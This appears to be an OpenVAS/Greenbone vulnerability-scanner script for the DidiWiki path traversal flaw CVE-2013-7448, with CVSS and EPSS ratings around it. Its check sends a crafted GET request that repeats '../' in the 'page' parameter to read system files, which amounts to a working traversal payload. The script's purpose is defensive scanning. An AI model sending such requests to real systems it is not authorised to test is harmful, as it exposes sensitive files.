CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
EPSS
Percentile
86.9%
DidiWiki is prone to path traversal.
# SPDX-FileCopyrightText: 2016 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:didiwiki_project:didiwiki";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.807528");
script_version("2023-07-20T05:05:17+0000");
script_cve_id("CVE-2013-7448");
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
script_tag(name:"last_modification", value:"2023-07-20 05:05:17 +0000 (Thu, 20 Jul 2023)");
script_tag(name:"severity_vector", value:"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N");
script_tag(name:"severity_origin", value:"NVD");
script_tag(name:"severity_date", value:"2016-03-10 19:05:00 +0000 (Thu, 10 Mar 2016)");
script_tag(name:"creation_date", value:"2016-04-12 10:34:57 +0530 (Tue, 12 Apr 2016)");
script_name("DidiWiki Path Traversal Vulnerability");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2016 Greenbone AG");
script_family("Web application abuses");
script_dependencies("gb_didiwiki_detect.nasl", "os_detection.nasl");
script_mandatory_keys("DidiWiki/Installed");
script_require_ports("Services/www", 8000);
script_xref(name:"URL", value:"http://www.openwall.com/lists/oss-security/2016/02/19/4");
script_tag(name:"summary", value:"DidiWiki is prone to path traversal.");
script_tag(name:"vuldetect", value:"Send a crafted data via HTTP GET request
and check whether it is able to read arbitrary files or not.");
script_tag(name:"insight", value:"The flaw is due to an insufficient input
validation via 'page' parameter to api/page/get in 'wiki.c' script");
script_tag(name:"impact", value:"Successful exploitation will allow remote
attackers to read arbitrary files and to obtain sensitive information.");
script_tag(name:"affected", value:"didiwiki versions 3.5.4 and prior");
script_tag(name:"solution", value:"Apply the patch from advisory.");
script_tag(name:"solution_type", value:"VendorFix");
script_tag(name:"qod_type", value:"remote_vul");
script_xref(name:"URL", value:"http://didiwiki.wikidot.com");
exit(0);
}
include("misc_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("os_func.inc");
if(!http_port = get_app_port(cpe:CPE)){
exit(0);
}
if(!dir = get_app_location(cpe:CPE, port:http_port)){
exit( 0 );
}
if(dir == "/") dir = "";
files = traversal_files();
foreach file (keys(files)){
url = dir + '/api/page/get?page=' + crap(data:"../", length:3*15) + files[file];
if(http_vuln_check(port:http_port, url:url, pattern:file, check_header:TRUE)){
report = http_report_vuln_url(port:http_port, url:url);
security_message(port:http_port, data:report);
exit(0);
}
}
exit(99);
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
EPSS
Percentile
86.9%